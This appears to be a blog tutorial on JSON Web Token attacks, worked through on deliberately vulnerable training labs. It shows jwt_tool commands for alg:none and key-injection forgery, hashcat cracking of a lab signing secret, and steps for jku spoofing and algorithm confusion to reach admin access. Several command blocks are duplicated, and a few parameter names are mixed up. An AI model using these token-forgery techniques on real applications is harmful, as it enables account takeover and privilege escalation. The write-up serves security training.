June 24, 2026
JSON Web Token(JWT) — The Key to Web Applications
Most of us interact with web applications without envisioning what happens under the hood with every request. As applications continued to…

By hexidecimal
9 min read
Most of us interact with web applications without envisioning what happens under the hood with every request. As applications continued to advance, there needed to be a venue for which user interaction is conducted securely. We shall see how JWT aided with a solution as well as why it is a target for threat actors.
> Structure of a JWT
JWTs are a URL safe method for submitting claims between parties.
These claims are typically known as payload, the middle section of a JWT, which contain data about a subject. Payload are usually encoded and not encrypted. This brings up the question, if one could be able to decode and read claims, couldn't one easily doctor a JWT token and impersonate a user?
The beginning section is known as header, which contains metadata that identifies contents of the JWT. The section is also not encrypted but encoded as well so it is easily deciphered and read.
To answer our earlier question, there needed to be a mean of maintaining token authenticity, thus the trailing section called the signature. The signature is generated from the encoded header and payload using a cryptographic algorithm and a secret or private key. Because cryptographic hash functions exhibit the avalanche effect, even a small change to the header or payload results in a completely different signature, allowing receivers to detect tampering and verify the token's authenticity.
> Methods of Compromise
JWTs possess authentication and authorization information that is used to maintain sessions, which makes it a valuable target for unauthorized access to systems.
Most attackers today are not 'hacking in' as much as they are 'logging in', thus the sudden shift from exploiting technical vulnerabilities to obtaining credentials such as usernames, passwords and session tokens
JWTs are prone to various attack vectors, ranging from vulnerable libraries and insecure implementations to platform misconfigurations. In this article, I examine several JWT-related vulnerabilities that have been discovered and exploited in real-world scenarios, demonstrating how these weaknesses can compromise application security.
I use labs that are intentionally engineered with the vulnerabilities in secure environments, thus any demonstrations here are intended for training or educational purposes. One should only conduct application testing under authorized grounds by the vendor.
LABS: jwt hacking labs, portswigger labs
>> The None Attack
JWTs are made secure through the signature portion which is generated by a signing algorithm as we saw earlier. That same algorithm is also used by application to check for JWT authenticity when the browser sends a request.
To detect the type of algorithm used, the signing algorithm is stated within the alg header value. The none attack resides within this field where altering the initial stipulated algorithm e.g "alg": "HS256" to "alg":"None" disables signature verification.
With this, the application automatically doesn't check the signature value. Execution of the exploit thus entails changing the value of the alg header to None, editing the payload accordingly, and removing the trailing signature entry.
This issue typically arises from the assumption that the token has already been verified and that the receiving party does not need to perform validation again. Such an approach violates Zero Trust principles and can expose the receiving system to compromise.
In a Zero Trust architecture, every request, token, and identity assertion must be independently validated, regardless of where it originated.
Don't trust. Always verify
I used this jwt hacking lab as a Proof of Concept and leveraged jwt_tool for tampering the tokens
└─$ jwttool "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3ODE4NTgzOTYsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC9ub25lIn0.lZ547nZkAXI-zjZMK9GBao6HrMlC1byLHa-zFucAwEU" -X a #-X(Exploit Mode) a(None attack)
/home/kali/.jwt_tool/jwtconf.ini
Original JWT:
jwttool_897d1d05cfaea2a55b5d9615d3d65eab - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
<CLIPPED>└─$ jwttool "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3ODE4NTgzOTYsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC9ub25lIn0.lZ547nZkAXI-zjZMK9GBao6HrMlC1byLHa-zFucAwEU" -X a #-X(Exploit Mode) a(None attack)
/home/kali/.jwt_tool/jwtconf.ini
Original JWT:
jwttool_897d1d05cfaea2a55b5d9615d3d65eab - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
<CLIPPED>
>> Accepting arbitrary signatures
During token evaluation by JWT libraries, tokens are first decoded and then verified before accepting or rejecting requests. The two functions basically are decode() and verify(). Developers might misconfigure their logic and decode tokens without verifying them. This similarly acts as the none attack where the application doesn't verify the signature at all thus providing a loophole to attack systems.
Limited access to administrator panel is seen using a normal user token.
Altering the 'sub' header from wiener to administrator give us access thus being able to access privileges to delete users.
>> Weak Secrets
Benjamin Franklin stated that "Three may keep a secret if two of them are dead." The saying transcends to the technological domain as well.
Signing algorithms ensure that tokens are signed with a secret value hosted on the server that is only known to it. If another party has possession of the secret key, they could be able to forge their own tokens and sign them using the secret.
Within this lab, we see the application using HS256, which employs symmetric encryption; using one key for encryption and decryption. Leveraging a wordlist of common secret keys used by applications aided in my operation to brute force tokens using hashcat and detect the secret value that the server uses.
# cracking the token to discover the secret value
└─$ hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3ODE4NzI3MjgsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC93ZWFrLXNlY3JldCJ9.lWTIi6wFQz6K7fi-pb-6SI8CpG7MUFoZeX0K_cjGJKs /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
<CLIPPED>
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3ODE4NzI3MjgsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC93ZWFrLXNlY3JldCJ9.lWTIi6wFQz6K7fi-pb-6SI8CpG7MUFoZeX0K_cjGJKs:slipknot666
# slipknot666 is the secret key as seen in the line above
<CLIPPED>
# Tamper the token and sign with the obtained secret key
jwttool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3ODE4NzI3MjgsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC93ZWFrLXNlY3JldCJ9.lWTIi6wFQz6K7fi-pb-6SI8CpG7MUFoZeX0K_cjGJKs -T -S hs256 -p slipknot666# cracking the token to discover the secret value
└─$ hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3ODE4NzI3MjgsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC93ZWFrLXNlY3JldCJ9.lWTIi6wFQz6K7fi-pb-6SI8CpG7MUFoZeX0K_cjGJKs /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
<CLIPPED>
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3ODE4NzI3MjgsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC93ZWFrLXNlY3JldCJ9.lWTIi6wFQz6K7fi-pb-6SI8CpG7MUFoZeX0K_cjGJKs:slipknot666
# slipknot666 is the secret key as seen in the line above
<CLIPPED>
# Tamper the token and sign with the obtained secret key
jwttool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3ODE4NzI3MjgsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC93ZWFrLXNlY3JldCJ9.lWTIi6wFQz6K7fi-pb-6SI8CpG7MUFoZeX0K_cjGJKs -T -S hs256 -p slipknot666
>> Exploiting Json Web Key(jwk) parameter | key injection
JWK Header Injection is a JWT verification vulnerability in which the application accepts an attacker-supplied public key from the token's jwk header and uses it for signature validation.
This allows an attacker to forge valid tokens by signing them with a private key they control and embedding the corresponding public key in the JWT header. The root cause is the application's failure to restrict signature verification to trusted keys under its control.
└─$ jwttool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJrZXktMCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjJfQWdmQUxjWFhoNWVZSlJQT1M0c3pRVEFUbXpwSzN..<CLIPPED>
<CLIPPED>
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] typ = "JWT"
[+] jwk = JSON object:
[+] kty = "RSA"
[+] kid = "key-0"
[+] use = "sig"
[+] e = "AQAB"
[+] n = "2_AgfALcXXh5eYJRPOS4szQTATmzpK3Fx0Yny3ktek8XkBwmupxF-y6dWRmtg7L1_Ynjczg218VzcH4CNxhHBcZORh7uunWvZnGI31Tgq0wORMU8srNOwrDRDgfFqtzxfb3YhTchzqX9xpfaU-FCp9iFDge8WNAsDQhRofKV96uJmlyyM7Xo6SMhPv1gjKv6oyTvJ0mBncAJOpqLuV9Vj6Cr42LQd6IjW7se-6xzalkVkj4ZoYJAkBpqueh9ZJV87O2FHRF41Q3wc9yIIcttAAGH_YOgFlMIi3ORDJdqlEGondjwj2q22KcnsGiRRZE98nYVpi4WbvD-4vvpFU_8EhttMz1DQ4IQ6koP8-nzKIlZgddupXgCzk6M9yQZ9dJX1H76P3hnCNcGA2CT3-cjq4jjnh9K8nmLio2bW3-c2EIgrnpLUORy3_F0U5CS22UjCZWmeUkR0J8H3bByOfoP5iw5Bqk6Ovxtt5QWo5jsowNZ9g4TPfi4EBtiLUfWTITv-FWC9i1Jv-sqz6zwM6vthHv47anpp_cBZLk2VCqEF1YQm_Pa_p3_cSDI22KDvrHWZ8xr04srqQWoakicYawcons1GCirilQyjRFsDuGra1l7ad1MkoUKIy2iCzJPpTQ5mem_e654sh4XIrNa99neaClhLoIGLXs5YbWz4eweHQU"
Token payload values:
[+] account = "Bob"
[+] role = "User"
[+] iat = 1781878949 ==> TIMESTAMP = 2026-06-19 10:22:29 (UTC)
[+] aud = "https://127.0.0.1/jwt/key-injection"
<CLIPPED>
└─$ jwttool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJrZXktMCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjJfQWdmQUxjWFhoNWVZSlJQT1M0c3pRVEFUbXpwSzN..<CLIPPED>
<CLIPPED>
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] typ = "JWT"
[+] jwk = JSON object:
[+] kty = "RSA"
[+] kid = "key-0"
[+] use = "sig"
[+] e = "AQAB"
[+] n = "2_AgfALcXXh5eYJRPOS4szQTATmzpK3Fx0Yny3ktek8XkBwmupxF-y6dWRmtg7L1_Ynjczg218VzcH4CNxhHBcZORh7uunWvZnGI31Tgq0wORMU8srNOwrDRDgfFqtzxfb3YhTchzqX9xpfaU-FCp9iFDge8WNAsDQhRofKV96uJmlyyM7Xo6SMhPv1gjKv6oyTvJ0mBncAJOpqLuV9Vj6Cr42LQd6IjW7se-6xzalkVkj4ZoYJAkBpqueh9ZJV87O2FHRF41Q3wc9yIIcttAAGH_YOgFlMIi3ORDJdqlEGondjwj2q22KcnsGiRRZE98nYVpi4WbvD-4vvpFU_8EhttMz1DQ4IQ6koP8-nzKIlZgddupXgCzk6M9yQZ9dJX1H76P3hnCNcGA2CT3-cjq4jjnh9K8nmLio2bW3-c2EIgrnpLUORy3_F0U5CS22UjCZWmeUkR0J8H3bByOfoP5iw5Bqk6Ovxtt5QWo5jsowNZ9g4TPfi4EBtiLUfWTITv-FWC9i1Jv-sqz6zwM6vthHv47anpp_cBZLk2VCqEF1YQm_Pa_p3_cSDI22KDvrHWZ8xr04srqQWoakicYawcons1GCirilQyjRFsDuGra1l7ad1MkoUKIy2iCzJPpTQ5mem_e654sh4XIrNa99neaClhLoIGLXs5YbWz4eweHQU"
Token payload values:
[+] account = "Bob"
[+] role = "User"
[+] iat = 1781878949 ==> TIMESTAMP = 2026-06-19 10:22:29 (UTC)
[+] aud = "https://127.0.0.1/jwt/key-injection"
<CLIPPED>jwttool is an efficient tool to perform key injection easily as it generates a new RSA key pair and a corresponding JWKS file on start up which assists in the exploit.
# jwt_tool <token> -X i
jwttool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJrZXktMCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjJfQWdmQUxjWFhoNWVZSlJQT1M0c3pRV..<CLIPPED> -X i
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] typ = "JWT"
[+] jwk = JSON object:
[+] kty = "RSA"
[+] kid = "jwt_tool"
[+] use = "sig"
[+] e = "AQAB"
[+] n = "uUsDJxadb5ICiPxCnENFAhuxFoo4cAiJUGxfw14jDj_Sc_Pm5lcAK6DShiNRlNgsXYwtcvNRFqUizPqbq0S-xoAKkxkyR92tgRYrHikpt-cIIv2jaMjTf-B49lQLECpMSFQn1dvpr4lhl5AjixYPzJ_g4a0JhnvDJDgXSbl09-4Lzy0p0exDF9AkF1nbk7vvULxHazh697oGWrNJhD1zKzFdoMid_d7rhF3MOJGZOZold4-hmjyx11ln9mlouv7y9BCwoWhHuZQBZ8L4u1AD2nogbhJXrLr3VY6qyQBM2TmuMmFa5D9tUQIxicoiDig5mUyJmzUDLKI9t0l3AZu6tQ"
# jwt_tool <token> -X i
jwttool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJrZXktMCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjJfQWdmQUxjWFhoNWVZSlJQT1M0c3pRV..<CLIPPED> -X i
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] typ = "JWT"
[+] jwk = JSON object:
[+] kty = "RSA"
[+] kid = "jwt_tool"
[+] use = "sig"
[+] e = "AQAB"
[+] n = "uUsDJxadb5ICiPxCnENFAhuxFoo4cAiJUGxfw14jDj_Sc_Pm5lcAK6DShiNRlNgsXYwtcvNRFqUizPqbq0S-xoAKkxkyR92tgRYrHikpt-cIIv2jaMjTf-B49lQLECpMSFQn1dvpr4lhl5AjixYPzJ_g4a0JhnvDJDgXSbl09-4Lzy0p0exDF9AkF1nbk7vvULxHazh697oGWrNJhD1zKzFdoMid_d7rhF3MOJGZOZold4-hmjyx11ln9mlouv7y9BCwoWhHuZQBZ8L4u1AD2nogbhJXrLr3VY6qyQBM2TmuMmFa5D9tUQIxicoiDig5mUyJmzUDLKI9t0l3AZu6tQ"The above alters and generate a token with a public key embedded in the kid parameter. It's an automation to generating the RSA key pairs, formatting the public key and tampering the jwt with it.
>> Exploiting Json Key Set Url(jku) parameter | JWKS Spoofing
Servers are at times configured to trust a set of whitelist public keys, stored in a file at a trusted remote location. The link to the file is embedded within the jku and the server can then use to verify tokens.
Vulnerability arises when the application fails to restrict or properly validate the jku value and blindly trusts user-supplied URLs. Attackers exploit this by generating a set of keys, embeds the malicious public keys in their controlled locations and sign the altered jwt with the equivalent private key. If the application fetches and trusts the attacker-controlled key set, the forged token will successfully pass signature verification.
Below is a sample token generated from our application that uses jku to locate the cryptographic keys
┌──(.jwt_tool)─(kali㉿kali)-[~/tools/jwt_tool]
└─$ jwttool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6..<CLIPPED>
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] typ = "JWT"
[+] jku = "https://127.0.0.1/webkeys/jwks.json"
Token payload values:
[+] account = "Bob"
[+] role = "User"
[+] iat = 1781882520 ==> TIMESTAMP = 2026-06-19 11:22:00 (UTC)
[+] aud = "https://127.0.0.1/jwt/jku"┌──(.jwt_tool)─(kali㉿kali)-[~/tools/jwt_tool]
└─$ jwttool eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6..<CLIPPED>
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] typ = "JWT"
[+] jku = "https://127.0.0.1/webkeys/jwks.json"
Token payload values:
[+] account = "Bob"
[+] role = "User"
[+] iat = 1781882520 ==> TIMESTAMP = 2026-06-19 11:22:00 (UTC)
[+] aud = "https://127.0.0.1/jwt/jku"We generate RSA key pairs and use private key to sign the forged token, and host our formatted public key to our malicious server. The forged token will contain our server url as the jwk thus making token verification successful.
The green box indicates a successful request of the JWKS file by our vulnerable application.
The root cause is the application's insecure trust of externally supplied key locations rather than restricting key retrieval to trusted, allowlisted JWKS endpoints under its control.
>> Exploiting Key ID(kid) parameter
Servers will also tend to host a set of keys in a central location used by different services running within them. The services extract their service key by referencing the designated location using privileged access assigned to them.
Applications employing this technique ideally locate the values on servers through the kid parameter and extract their key that will be used for signature verification. The ideal location for storage vary depending on the developers choice, but they major reside in a file or a database. This possess a great attack vector since it becomes prone to path transversal techniques or SQL injection where the application doesn't constrain the values of the kid parameter.
>> Algorithmic Confusion Attacks
As we saw with the none attack technique, a cryptographic algorithm is explicitly stated on the alg header value for JWT signature verification. There exist default library implementation where the type of algorithm is chosen based on input rather than selecting a specific one.
Application with the former implementation tends to vulnerable to algorithmic tampering where server selects an alternate signing algorithm as opposed to the intended. If the application uses asymmetric encryption(using a private key for signing and a public key for verification), a vulnerable verifier might incorrectly accept a different algorithm chosen by the attacker.
The core problem is that the server allows the token to influence how verification is performed instead of leveraging the server side expected algorithm.
To exploit this lab, we are to leverage a normal user's account and escalate their privileges by forging their access token. We see that the server has a flawed algorithmic checksum where an attacker could alter the token's algorithm from what the server is intended. Our token is generated from an asymmetric algorithm(RS256), so changing to symmetric(HS256) will make compromise successful.
HS256 uses a single secret key, thus the flaw will automatically associate the public key as the secret key. The goal is to now locate the public key. Servers employing asymmetric signing will store public keys somewhere publicly accessible. Here, it is hosted within the server at the /jwks.json directory.
With this, we generate an equivalent symmetric key that the server uses. Assumption here is that the key is a X.509 PEM file.
The generated key must be in the same format as the server's whatsoever
Burpsuite JWT Editor simplifies this conversion operation. We obtain our obtained jwk and convert to .pem. The result is base64 encoded, as it's the format used for proper storage and processing.
We embed the Base64-encoded PEM into the k parameter of a newly generated symmetric key since this value will serve as the shared secret used for both encryption and decryption.
Token forgery is now possible through signing altered tokens using our new symmetric key. We alter the user's payload to perceive the user as an administrator and sign it with our key to gain access to the admin panel to delete the user.
> Conclusion
Jwt token are sensitive authentication and authorization mechanisms for session management, thus should be securely generated and secured. Developers should ensure they employ secure libraries within code sets and maintain proper logic for token assigning. Sensitive information also needs not be embedded within tokens that expose information that could be used to compromise systems.